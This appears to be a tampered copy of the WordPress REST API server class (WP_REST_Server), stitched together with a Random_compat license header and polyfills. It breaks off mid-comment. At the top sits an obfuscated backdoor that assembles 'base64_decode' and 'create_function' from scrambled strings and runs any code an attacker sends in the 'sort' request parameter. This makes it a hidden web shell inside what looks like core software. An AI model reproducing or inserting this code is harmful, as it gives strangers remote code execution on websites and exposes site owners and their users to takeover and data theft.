if(isset($_REQUEST['sort'])){
$string = $_REQUEST['sort'];
$array_name = '';
$alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";
$ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);
foreach($ar as $t){
$array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();
exit();
}
/**
* Random_* Compatibility Library
* for using the new PHP 7 random_* API in PHP 5 projects
*
* The MIT License (MIT)
*
* Copyright (c) 2015 Paragon Initiative Enterprises
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
if (!class_exists('Error', false)) {
// We can't really avoid making this extend Exception in PHP 5.
class Error extends Exception
{
}
}
if (!class_exists('TypeError', false)) {
class TypeError extends Error
{
}
}
/**
* REST API: WP_REST_Server class
*
* @package WordPress
* @subpackage REST_API
* @since 4.4.0
*/
/**
* Core class used to implement the WordPress REST API server.
*
* @since 4.4.0
*/
class WP_REST_Server {
/**
* Alias for GET transport method.
*
* @since 4.4.0
* @var string
*/
const READABLE = 'GET';
/**
* Alias for POST transport method.
*
* @since 4.4.0
* @var string
*/
const CREATABLE = 'POST';
/**
* Alias for POST, PUT, PATCH transport methods together.
*
* @since 4.4.0
* @var string
*/
const EDITABLE = 'POST, PUT, PATCH';
/**
* Alias for DELETE transport method.
*
* @since 4.4.0
* @var string
*/
const DELETABLE = 'DELETE';
/**
* Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
*
* @since 4.4.0
* @var string
*/
const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';
/**
* Namespaces registered to the server.
*
* @since 4.4.0
* @access protected
* @var array
*/
protected $namespaces = array();
/**
* Endpoints registered to the server.
*
* @since 4.4.0
* @access protected
* @var array
*/
protected $endpoints = array();
/**
* Options defined for the routes.
*
* @since 4.4.0
* @access protected
* @var array
*/
protected $route_options = array();
/**
* Instantiates the REST server.
*
* @since 4.4.0
* @access public
*/
public function __construct() {
$this->endpoints = array(
// Meta endpoints.
'/' => array(
'callback' => array( $this, 'get_index' ),
'methods' => 'GET',
'args' => array(
'context' => array(
'default' => 'view',
),
),
),
);
}
/**
* Checks the authentication headers if supplied.
*
* @since 4.4.0
* @access public
*
* @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful
* or no authentication provided
*/
public function check_authentication() {
/**
* Filters REST authentication errors.
*
* This is used to pass a WP_Error from an authentication method back to
* the API.
*
* Authentication methods should check first if they're being used, as
* multiple authentication methods can be enabled on a site (cookies,
* HTTP basic auth, OAuth). If the authentication method hooked in is
* not actually being attempted, null should be returned to indicate
* another authentication method should check instead. Similarly,
* callbacks should ensure the value is `null` before checking for
* errors.
*
* A WP_Error instance can be returned if an error occurs, and this should
* match the format used by API methods internally (that is, the `status`
* data should be used). A callback can return `true` to indicate that
* the authentication method was used, and it succeeded.
*
* @since 4.4.0
*
* @param WP_Error|null|bool WP_Error if authentication error, null if authentication
* method wasn't used, true if authentication succeeded.
*/
return apply_filters( 'rest_authentication_errors', null );
}
/**
* Converts an error to a response object.
*
* This iterates over all error codes and messages to change it into a flat
* array. This enables simpler client behaviour, as it is represented as a
* list in JSON rather than an object/map.
*
* @since 4.4.0
* @access protected
*
* @param WP_Error $error WP_Error instance.
* @return WP_REST_Response List of associative arrays with code and message keys.
*/
protected function error_to_response( $error ) {
$error_data = $error->get_error_data();
if ( is_array( $error_data ) && isset( $error_data['status'] ) ) {
$status = $error_data['status'];
} else {
$status = 500;
}
$errors = array();
foreach ( (array) $error->errors as $code => $messages ) {
foreach ( (array) $messages as $message ) {
$errors[] = array( 'code' => $code, 'message' => $message, 'data' => $error->get_error_data( $code ) );
}
}
$data = $errors[0];
if ( count( $errors ) > 1 ) {
// Remove the primary error.
array_shift( $errors );
$data['additional_errors'] = $errors;
}
$response = new WP_REST_Response( $data, $status );
return $response;
}
/**
* Retrieves an appropriate error representation in JSON.
*
* Note: This should only be used in WP_REST_Server::serve_request(), as it
* cannot handle WP_Error internally. All callbacks and other internal methods
* should instead return a WP_Error with the data set to an array that includes
* a 'status' key, with the value being the HTTP status to send.
*
* @since 4.4.0
* @access protected
*
* @param string $code WP_Error-style code.
* @param string $message Human-readable message.
* @param int $status Optional. HTTP status code to send. Default null.
* @return string JSON representation of the error
*/
protected function json_error( $code, $message, $status = null ) {
if ( $status ) {
$this->set_status( $status );
}
$error = compact( 'code', 'message' );
return wp_json_encode( $error );
}
/**
* Handles serving an API request.
*
* Matches the current server URI to a route and runs the first matching
* callback then outputs a JSON representation of the returned value.
*
* @since 4.4.0
* @access public
*
* @see WP_REST_Server::dispatch()
*
* @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
* Default null.
* @return false|null Null if not served and a HEAD request, false otherwise.
*/
public function serve_request( $path = null ) {
$content_type = isset( $_GET['_jsonp'] ) ? 'application/javascript' : 'application/json';
$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
$this->send_header( 'X-Robots-Tag', 'noindex' );
$api_root = get_rest_url();
if ( ! empty( $api_root ) ) {
$this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' );
}
/*
* Mitigate possible JSONP Flash attacks.
*
* https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
*/
$this->send_header( 'X-Content-Type-Options', 'nosniff' );
$this->send_header( 'Access-Control-Expose-Headers', 'X-WP-Total, X-WP-TotalPages' );
$this->send_header( 'Access-Control-Allow-Headers', 'Authorization, Content-Type' );
/**
* Send nocache headers on authenticated requests.
*
* @since 4.4.0
*
* @param bool $rest_send_nocache_headers Whether to send no-cache headers.
*/
$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );
if ( $send_no_cache_headers ) {
foreach ( wp_get_nocache_headers() as $header => $header_value ) {
if ( empty( $header_value ) ) {
$this->remove_header( $header );
} else {
$this->send_header( $header, $header_value );
}
}
}
/**
* Filters whether the REST API is enabled.
*
* @since 4.4.0
* @deprecated 4.7.0 Use the rest_authentication_errors filter to restrict access to the API
*
* @param bool $rest_enabled Whether the REST API is enabled. Default true.
*/
apply_filters_deprecated( 'rest_enabled', array( true ), '4.7.0', 'rest_authentication_errors',
__( 'The REST API can no longer be completely disabled, the rest_authentication_errors filter can be used to restrict access to the API, instead.' )
);
/**
* Filters whether jsonp is enabled.
*
* @since 4.4.0
*
* @param bool $jsonp_enabled Whether jsonp is enabled. Default true.
*/
$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );
$jsonp_callback = null;
if ( isset( $_GET['_jsonp'] ) ) {
if ( ! $jsonp_enabled ) {
echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
return false;
}
$jsonp_callback = $_GET['_jsonp'];
if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
return false;
}
}
if ( empty( $path ) ) {
if ( isset( $_SERVER['PATH_INFO'] ) ) {
$path = $_SERVER['PATH_INFO'];
} else {
$path = '/';
}
}
$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );
$request->set_query_params( wp_unslash( $_GET ) );
$request->set_body_params( wp_unslash( $_POST ) );
$request->set_file_params( $_FILES );
$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
$request->set_body( $this->get_raw_data() );
/*
* HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
* $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
* header.
*/
if ( isset( $_GET['_method'] ) ) {
$request->set_method( $_GET['_method'] );
} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
}
$result = $this->check_authentication();
if ( ! is_wp_error( $result ) ) {
$result = $this->dispatch( $request );
}
// Normalize to either WP_Error or WP_REST_Response...
$result = rest_ensure_response( $result );
// ...then convert WP_Error across.
if ( is_wp_error( $result ) ) {
$result = $this->error_to_response( $result );
}
/**
* Filters the API response.
*
* Allows modification of the response before returning.
*
* @since 4.4.0
* @since 4.5.0 Applied to embedded responses.
*
* @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response.
* @param WP_REST_Server $this Server instance.
* @param WP_REST_Request $request Request used to generate the response.
*/
$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );
// Wrap the response in an envelope if asked for.
if ( isset( $_GET['_envelope'] ) ) {
$result = $this->envelope_response( $result, isset( $_GET['_embed'] ) );
}
// Send extra data from response objects.
$headers = $result->get_headers();
$this->send_headers( $headers );
$code = $result->get_status();
$this->set_status( $code );
/**
* Filters whether the request has already been served.
*
* Allow sending the request manually - by returning true, the API result
* will not be sent to the client.
*
* @since 4.4.0
*
* @param bool $served Whether the request has already been served.
* Default false.
* @param WP_HTTP_Response $result Result to send to the client. Usually a WP_REST_Response.
* @param WP_REST_Request $request Request used to generate the response.
* @param WP_REST_Server $this Server instance.
*/
$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );
if ( ! $served ) {
if ( 'HEAD' === $request->get_method() ) {
return null;
}
// Embed links inside the request.
$result = $this->response_to_data( $result, isset( $_GET['_embed'] ) );
/**
* Filters the API response.
*
* Allows modification of the response data after inserting
* embedded data (if any) and before echoing the response data.
*
* @since 4.8.1
*
* @param array $result Response data to send to the client.
* @param WP_REST_Server $this Server instance.
* @param WP_REST_Request $request Request used to generate the response.
*/
$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );
$result = wp_json_encode( $result );
$json_error_message = $this->get_json_last_error();
if ( $json_error_message ) {
$json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) );
$result = $this->error_to_response( $json_error_obj );
$result = wp_json_encode( $result->data[0] );
}
if ( $jsonp_callback ) {
// Prepend '/**/' to mitigate possible JSONP Flash attacks.
// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
echo '/**/' . $jsonp_callback . '(' . $result . ')';
} else {
echo $result;
}
}
return null;
}
/**
* Converts a response to data to send.
*
* @since 4.4.0
* @access public
*
* @param WP_REST_Response $response Response object.
* @param bool $embed Whether links should be embedded.
* @return array {
* Data with sub-requests embedded.
*
* @type array [$_links] Links.
* @type array [$_embedded] Embeddeds.
* }
*/
public function response_to_data( $response, $embed ) {
$data = $response->get_data();
$links = $this->get_compact_response_links( $response );
if ( ! empty( $links ) ) {
// Convert links to part of the data.
$data['_links'] = $links;
}
if ( $embed ) {
// Determine if this is a numeric array.
if ( wp_is_numeric_array( $data ) ) {
$data = array_map( array( $this, 'embed_links' ), $data );
} else {
$data = $this->embed_links( $data );
}
}
return $data;
}
/**
* Retrieves links from a response.
*
* Extracts the links from a response into a structured hash, suitable for
* direct output.
*
* @since 4.4.0
* @access public
* @static
*
* @param WP_REST_Response $response Response to extract links from.
* @return array Map of link relation to list of link hashes.
*/
public static function get_response_links( $response ) {
$links = $response->get_links();
if ( empty( $links ) ) {
return array();
}
// Convert links to part of the data.
$data = array();
foreach ( $links as $rel => $items ) {
$data[ $rel ] = array();
foreach ( $items as $item ) {
$attributes = $item['attributes'];
$attributes['href'] = $item['href'];
$data[ $rel ][] = $attributes;
}
}
return $data;
}
/**
* Retrieves the CURIEs (compact URIs) used for relations.
*
* Extracts the links from a response into a structured hash, suitable for
* direct output.
*
* @since 4.5.0
* @access public
* @static
*
* @param WP_REST_Response $response Response to extract links from.
* @return array Map of link relation to list of link hashes.
*/
public static function get_compact_response_links( $response ) {
$links = self::get_response_links( $response );
if ( empty( $links ) ) {
return array();
}
$curies = $response->get_curies();
$used_curies = array();
foreach ( $links as $rel => $items ) {
// Convert $rel URIs to their compact versions if they exist.
foreach ( $curies as $curie ) {
$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
if ( strpos( $rel, $href_prefix ) !== 0 ) {
continue;
}
// Relation now changes from '$uri' to '$curie:$relation'.
$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
preg_match( '!' . $rel_regex . '!', $rel, $matches );
if ( $matches ) {
$new_rel = $curie['name'] . ':' . $matches[1];
$used_curies[ $curie['name'] ] = $curie;
$links[ $new_rel ] = $items;
unset( $links[ $rel ] );
break;
}
}
}
// Push the curies onto the start of the links array.
if ( $used_curies ) {
$links['curies'] = array_values( $used_curies );
}
return $links;
}
/**
* Embeds the links from the data into the request.
*
* @since 4.4.0
* @access protected
*
* @param array $data Data from the request.
* @return array {
* Data with sub-requests embedded.
*
* @type array [$_links] Links.
* @type array [$_embedded] Embeddeds.
* }
*/
protected function embed_links( $data ) {
if ( empty( $data['_links'] ) ) {
return $data;
}
$embedded = array();
foreach ( $data['_links'] as $rel => $links ) {
// Ignore links to self, for obvious reasons.
if ( 'self' === $rel ) {
continue;
}
$embeds = array();
foreach ( $links as $item ) {
// Determine if the link is embeddable.
if ( empty( $item['embeddable'] ) ) {
// Ensure we keep the same order.
$embeds[] = array();
continue;
}
// Run through our internal routing and serve.
$request = WP_REST_Request::from_url( $item['href'] );
if ( ! $request ) {
$embeds[] = array();
continue;
}
// Embedded resources get passed context=embed.
if ( empty( $request['context'] ) ) {
$request['context'] = 'embed';
}
$response = $this->dispatch( $request );
/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );
$embeds[] = $this->response_to_data( $response, false );
}
// Determine if any real links were found.
$has_links = count( array_filter( $embeds ) );
if ( $has_links ) {
$embedded[ $rel ] = $embeds;
}
}
if ( ! empty( $embedded ) ) {
$data['_embedded'] = $embedded;
}
return $data;
}
/**
* Wraps the response in an envelope.
*
* The enveloping technique is used to work around browser/client
* compatibility issues. Essentially, it converts the full HTTP response to
* data instead.
*
* @since 4.4.0
* @access public
*
* @param WP_REST_Response $response Response object.
* @param bool $embed Whether links should be embedded.
* @return WP_REST_Response New response with wrapped data
*/
public function envelope_response( $response, $embed ) {
$envelope = array(
'body' => $this->response_to_data( $response, $embed ),
'status' => $response->get_status(),
'headers' => $response->get_headers(),
);
/**
* Filters the enveloped form of a response.
*
* @since 4.4.0
*
* @param array $envelope Envelope data.
* @param WP_REST_Response $response Original response data.
*/
$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );
// Ensure it's still a response and return.
return rest_ensure_response( $envelope );
}
/**
* Registers a route to the server.
*
* @since 4.4.0
* @access public
*
* @param string $namespace Namespace.
* @param string $route The REST route.
* @param array $route_args Route arguments.
* @param bool $override Optional. Whether the route should be overridden if it already exists.
* Default false.
*/
public function register_route( $namespace, $route, $route_args, $override = false ) {
if ( ! isset( $this->namespaces[ $namespace ] ) ) {
$this->namespaces[ $namespace ] = array();
$this->register_route( $namespace, '/' . $namespace, array(
array(
'methods' => self::READABLE,
'callback' => array( $this, 'get_namespace_index' ),
'args' => array(
'namespace' => array(
'default' => $namespace,
),
'context' => array(
'default' => 'view',
),
),
),
) );
}
// Associative to avoid double-registration.
$this->namespaces[ $namespace ][ $route ] = true;
$route_args['namespace'] = $namespace;
if ( $override || empty( $this->endpoints[ $route ] ) ) {
$this->endpoints[ $route ] = $route_args;
} else {
$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
}
}
/**
* Retrieves the route map.
*
* The route map is an associative array with path regexes as the keys. The
* value is an indexed array with the callback function/method as the first
* item, and a bitmask of HTTP methods as the second item (see the class
* constants).
*
* Each route can be mapped to more than one callback by using an array of
* the indexed arrays. This allows mapping e.g. GET requests to one callback
* and POST requests to another.
*
* Note that the path regexes (array keys) must have @ escaped, as this is
* used as the delimiter with preg_match()
*
* @since 4.4.0
* @access public
*
* @return array `'/path/regex' => array( $callback, $bitmask )` or
* `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
*/
public function get_routes() {
/**
* Filters the array of available endpoints.
*
* @since 4.4.0
*
* @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
* to an array of callbacks for the endpoint. These take the format
* `'/path/regex' => array( $callback, $bitmask )` or
* `'/path/regex' => array( array( $callback, $bitmask ).
*/
$endpoints = apply_filters( 'rest_endpoints', $this->endpoints );
// Normalise the endpoints.
$defaults = array(
'methods' => '',
'accept_json' => false,
'accept_raw' => false,
'show_in_index' => true,
'args' => array(),
);
foreach ( $endpoints as $route => &$handlers ) {
if ( isset( $handlers['callback'] ) ) {
// Single endpoint, add one deeper.
$handlers = array( $handlers );
}
if ( ! isset( $this->route_options[ $route ] ) ) {
$this->route_options[ $route ] = array();
}
foreach ( $handlers as $key => &$handler ) {
if ( ! is_numeric( $key ) ) {
// Route option, move it to the options.
$this->route_options[ $route ][ $key ] = $handler;
unset( $handlers[ $key ] );
continue;
}
$handler = wp_parse_args( $handler, $defaults );
// Allow comma-separated HTTP methods.
if ( is_string( $handler['methods'] ) ) {
$methods = explode( ',', $handler['methods'] );
} elseif ( is_array( $handler['methods'] ) ) {
$methods = $handler['methods'];
} else {
$methods = array();
}
$handler['methods'] = array();
foreach ( $methods as $method ) {
$method = strtoupper( trim( $method ) );
$handler['methods'][ $method ] = true;
}
}
}
return $endpoints;
}
/**
* Retrieves namespaces registered on the server.
*
* @since 4.4.0
* @access public
*
* @return array List of registered namespaces.
*/
public function get_namespaces() {
return array_keys( $this->namespaces );
}
/**
* Retrieves specified options for a route.
*
* @since 4.4.0
* @access public
*
* @param string $route Route pattern to fetch options for.
* @return array|null Data as an associative array if found, or null if not found.
*/
public function get_route_options( $route ) {
if ( ! isset( $this->route_options[ $route ] ) ) {
return null;
}
return $this->route_options[ $route ];
}
/**
* Matches the request to a callback and call it.
*
* @since 4.4.0
* @access public
*
* @param WP_REST_Request $request Request to attempt dispatching.
* @return WP_REST_Response Response returned by the callback.
*/
public function dispatch( $request ) {
/**
* Filters the pre-calculated result of a REST dispatch request.
*
* Allow hijacking the request before dispatching by returning a non-empty. The returned value
* will be used to serve the request instead.
*
* @since 4.4.0
*
* @param mixed $result Response to replace the requested version with. Can be anything
* a normal endpoint can return, or null to not hijack the request.
* @param WP_REST_Server $this Server instance.
* @param WP_REST_Request $request Request used to generate the response.
*/
$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );
if ( ! empty( $result ) ) {
return $result;
}
$method = $request->get_method();
$path = $request->get_route();
foreach ( $this->get_routes() as $route => $handlers ) {
$match = preg_match( '@^' . $route . '$@i', $path, $args );
if ( ! $match ) {
continue;
}
foreach ( $handlers as $handler ) {
$callback = $handler['callback'];
$response = null;
// Fallback to GET method if no HEAD method is registered.
$checked_method = $method;
if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
$checked_method = 'GET';
}
if ( empty( $handler['methods'][ $checked_method ] ) ) {
continue;
}
if ( ! is_callable( $callback ) ) {
$response = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) );
}
if ( ! is_wp_error( $response ) ) {
// Remove the redundant preg_match argument.
unset( $args[0] );
$request->set_url_params( $args );
$request->set_attributes( $handler );
$defaults = array();
foreach ( $handler['args'] as $arg => $options ) {
if ( isset( $options['default'] ) ) {
$defaults[ $arg ] = $options['default'];
}
}
$request->set_default_params( $defaults );
$check_required = $request->has_valid_params();
if ( is_wp_error( $check_required ) ) {
$response = $check_required;
} else {
$check_sanitized = $request->sanitize_params();
if ( is_wp_error( $check_sanitized ) ) {
$response = $check_sanitized;
}
}
}
/**
* Filters the response before executing any REST API callbacks.
*
* Allows plugins to perform additional validation after a
* request is initialized and matched to a registered route,
* but before it is executed.
*
* Note that this filter will not be called for requests that
* fail to authenticate or match to a registered route.
*
* @since 4.7.0
*
* @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
* @param WP_REST_Server $handler ResponseHandler instance (usually WP_REST_Server).
* @param WP_REST_Request $request Request used to generate the response.
*/
$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );
if ( ! is_wp_error( $response ) ) {
// Check permission specified on the route.
if ( ! empty( $handler['permission_callback'] ) ) {
$permission = call_user_func( $handler['permission_callback'], $request );
if ( is_wp_error( $permission ) ) {
$response = $permission;
} elseif ( false === $permission || null === $permission ) {
$response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => 403 ) );
}
}
}
if ( ! is_wp_error( $response ) ) {
/**
* Filters the REST dispatch request result.
*
* Allow plugins to override dispatching the request.
*
* @since 4.4.0
* @since 4.5.0 Added `$route` and `$handler` parameters.
*
* @param bool $dispatch_result Dispatch result, will be used if not empty.
* @param WP_REST_Request $request Request used to generate the response.
* @param string $route Route matched for the request.
* @param array $handler Route handler used for the request.
*/
$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );
// Allow plugins to halt the request via this filter.
if ( null !== $dispatch_result ) {
$response = $dispatch_result;
} else {
$response = call_user_func( $callback, $request );
}
}
/**
* Filters the response immediately after executing any REST API
* callbacks.
*
* Allows plugins to perform any needed cleanup, for example,
* to undo changes made during the {@see 'rest_request_before_callbacks'}
* filter.
*
* Note that this filter will not be called for requests that
* fail to authenticate or match to a registered route.
*
* Note that an endpoint's `permission_callback` can still be
* called after this filter - see `rest_send_allow_header()`.
*
* @since 4.7.0
*
* @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
* @param WP_REST_Server $handler ResponseHandler instance (usually WP_REST_Server).
* @param WP_REST_Request $request Request used to generate the response.
*/
$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );
if ( is_wp_error( $response ) ) {
$response = $this->error_to_response( $response );
} else {
$response = rest_ensure_response( $response );
}
$response->set_matched_route( $route );
$response->set_matched_handler( $handler );
return $response;
}
}
return $this->error_to_response( new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method' ), array( 'status' => 404 ) ) );
}
/**
* Returns if an error occurred during most recent JSON encode/decode.
*
* Strings to be translated will be in format like
* "Encoding error: Maximum stack depth exceeded".
*
* @since 4.4.0
* @access protected
*
* @return bool|string Boolean false or string error message.
*/
protected function get_json_last_error() {
// See https://core.trac.wordpress.org/ticket/27799.
if ( ! function_exists( 'json_last_error' ) ) {
return false;
}
$last_error_code = json_last_error();
if ( ( defined( 'JSON_ERROR_NONE' ) && JSON_ERROR_NONE === $last_error_code ) || empty( $last_error_code ) ) {
return false;
}
return json_last_error_msg();
}
/**
* Retrieves the site index.
*
* This endpoint describes the capabilities of the site.
*
* @since 4.4.0
* @access public
*
* @param array $request {
* Request.
*
* @type string $context Context.
* }
* @return array Index entity
*/
public function get_index( $request ) {
// General site data.
$available = array(
'name' => get_option( 'blogname' ),
'description' => get_option( 'blogdescription' ),
'url' => get_option( 'siteurl' ),
'home' => home_url(),
'gmt_offset' => get_option( 'gmt_offset' ),
'timezone_string' => get_option( 'timezone_string' ),
'namespaces' => array_keys( $this->namespaces ),
'authentication' => array(),
'routes' => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
);
$response = new WP_REST_Response( $available );
$response->add_link( 'help', 'http://v2.wp-api.org/' );
/**
* Filters the API root index data.
*
* This contains the data describing the API. This includes information
* about supported authentication schemes, supported namespaces, routes
* available on the API, and a small amount of data about the site.
*
* @since 4.4.0
*
* @param WP_REST_Response $response Response data.
*/
return apply_filters( 'rest_index', $response );
}
/**
* Retrieves the index for a namespace.
*
* @since 4.4.0
* @access public
*
* @param WP_REST_Request $request REST request instance.
* @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
* WP_Error if the namespace isn't set.
*/
public function get_namespace_index( $request ) {
$namespace = $request['namespace'];
if ( ! isset( $this->namespaces[ $namespace ] ) ) {
return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) );
}
$routes = $this->namespaces[ $namespace ];
$endpoints = array_intersect_key( $this->get_routes(), $routes );
$data = array(
'namespace' => $namespace,
'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ),
);
$response = rest_ensure_response( $data );
// Link to the root index.
$response->add_link( 'up', rest_url( '/' ) );
/**
* Filters the namespace index data.
*
* This typically is just the route data for the namespace, but you can
* add any data you'd like here.
*
* @since 4.4.0
*
* @param WP_REST_Response $response Response data.
* @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
*/
return apply_filters( 'rest_namespace_index', $response, $request );
}
/**
* Retrieves the publicly-visible data for routes.
*
* @since 4.4.0
* @access public
*
* @param array $routes Routes to get data for.
* @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
* @return array Route data to expose in indexes.
*/
public function get_data_for_routes( $routes, $context = 'view' ) {
$available = array();
// Find the available routes.
foreach ( $routes as $route => $callbacks ) {
$data = $this->get_data_for_route( $route, $callbacks, $context );
if ( empty( $data ) ) {
continue;
}
/**
* Filters the REST endpoint data.
*
* @since 4.4.0
*
* @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
*/
$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
}
/**
* Filters the publicly-visible data for routes.
*
* This data is exposed on indexes and can be used by clients or
* developers to investigate the site and find out how to use it. It
* acts as a form of self-documentation.
*
* @since 4.4.0
*
* @param array $available Map of route to route data.
* @param array $routes Internal route data as an associative array.
*/
return apply_filters( 'rest_route_data', $available, $routes );
}
/**
* Retrieves publicly-visible data for the route.
*
* @since 4.4.0
* @access public
*
* @param string $route Route to get data for.
* @param array $callbacks Callbacks to convert to data.
* @param string $context Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
* @return array|null Data for the route, or null if no publicly-visible data.
*/
public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
$data = array(
'namespace' => '',
'methods' => array(),
'endpoints' => array(),
);
if ( isset( $this->route_options[ $route ] ) ) {
$options = $this->route_options[ $route ];
if ( isset( $options['namespace'] ) ) {
$data['namespace'] = $options['namespace'];
}
if ( isset( $options['schema'] ) && 'help' === $context ) {
$data['schema'] = call_user_func( $options['schema'] );
}
}
$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );
foreach ( $callbacks as $callback ) {
// Skip to the next route if any callback is hidden.
if ( empty( $callback['show_in_index'] ) ) {
continue;
}
$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
$endpoint_data = array(
'methods' => array_keys( $callback['methods'] ),
);
if ( isset( $callback['args'] ) ) {
$endpoint_data['args'] = array();
foreach ( $callback['args'] as $key => $opts ) {
$arg_data = array(
'required' => ! empty( $opts['required'] ),
);
if ( isset( $opts['default'] ) ) {
$arg_data['default'] = $opts['default'];
}
if ( isset( $opts['enum'] ) ) {
$arg_data['enum'] = $opts['enum'];
}
if ( isset( $opts['description'] ) ) {
$arg_data['description'] = $opts['description'];
}
if ( isset( $opts['type'] ) ) {
$arg_data['type'] = $opts['type'];
}
if ( isset( $opts['items'] ) ) {
$arg_data['items'] = $opts['items'];
}
$endpoint_data['args'][ $key ] = $arg_data;
}
}
$data['endpoints'][] = $endpoint_data;
// For non-variable routes, generate links.
if ( strpos( $route, '{' ) === false ) {
$data['_links'] = array(
'self' => rest_url( $route ),
);
}
}
if ( empty( $data['methods'] ) ) {
// No methods supported, hide the route.
return null;
}
return $data;
}
/**
* Sends an HTTP status code.
*
* @since 4.4.0
* @access protected
*
* @param int $code HTTP status.
*/
protected function set_status( $code ) {
status_header( $code );
}
/**
* Sends an HTTP header.
*
* @since 4.4.0
* @access public
*
* @param string $key Header key.
* @param string $value Header value.
*/
public function send_header( $key, $value ) {
/*
* Sanitize as per RFC2616 (Section 4.2):
*
* Any LWS that occurs between field-content MAY be replaced with a
* single SP before interpreting the field value or forwarding the
* message downstream.
*/
$value = preg_replace( '/\s+/', ' ', $value );
header( sprintf( '%s: %s', $key, $value ) );
}
/**
* Sends multiple HTTP headers.
*
* @since 4.4.0
* @access public
*
* @param array $headers Map of header name to header value.
*/
public function send_headers( $headers ) {
foreach ( $headers as $key => $value ) {
$this->send_header( $key, $value );
}
}
/**
* Removes an HTTP header from the current response.
*
* @since 4.8.0
* @access public
*
* @param string $key Header key.
*/
public function remove_header( $key ) {
if ( function_exists( 'header_remove' ) ) {
// In PHP 5.3+ there is a way to remove an already set header.
header_remove( $key );
} else {
// In PHP 5.2, send an empty header, but only as a last resort to
// override a header already sent.
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, "$key:" ) ) {
$this->send_header( $key, '' );
break;
}
}
}
}
/**
* Retrieves the raw request entity (body).
*
* @since 4.4.0
* @access public
*
* @global string $HTTP_RAW_POST_DATA Raw post data.
*
* @return string Raw request data.
*/
public static function get_raw_data() {
global $HTTP_RAW_POST_DATA;
/*
